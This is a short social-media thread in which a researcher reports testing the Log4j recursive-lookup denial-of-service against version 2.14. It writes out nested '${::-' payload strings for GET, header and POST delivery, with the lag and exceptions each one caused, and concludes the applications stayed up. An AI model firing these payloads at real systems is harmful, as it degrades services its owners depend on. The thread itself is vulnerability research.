Thread by @aaditya_purani

Is anyone able to reliably "crash/kill" the application completely using this log4j DoS hype ride?

So far I'm yet to reproduce a weaponizable damage outside of denying logging. (IllegalStateException) 🤔

Expansion payload (10k reps or more) will do StackOverflow exception (1/n)

Along with @0xsapra , we reproduced it against 2.14 giving it the priority as it has lookups enabled by default.

To weaponize, the goal was to kill/crash the app not just throw Exception.

We tried multiple payload deliveries-
1.) GET request (max size 2048):
Payload used was

"${" + "${::-"*300 + "$${::-j}" + "}"*300 + "}"

No Lags, No Exception, App continues normally.

2.) Headers (Tomcat max size 8k - 48k):

Payload: "${" + "${::-"*8000 + "$${::-j}" + "}"*8000 + "}"

1 sec lag, SO exception, App continues normally.

3.) POST (Tomcat default 2MB)

"${" + "${::-"*500000 + "$${::-j}" + "}"*500000 + "}"

18 sec lag, java.lang.OutOfMemoryError exception, App continues normally. (Thread safe, 1 thread kill, app remains intact)

Tested on OS X. Also, this tests are assumed for 2.14 where payloads are delivered easily,but on 2.15

onwards there are lot more "ifs" for an exploitation to be successful. (Context, %m{lookups}, etc.)

Hence, the lags doesn't look to be damaging irl. 🧐

It would be interesting to see any real-world apps get fully crashed/exits/killed due to this DoS on default log4j usage.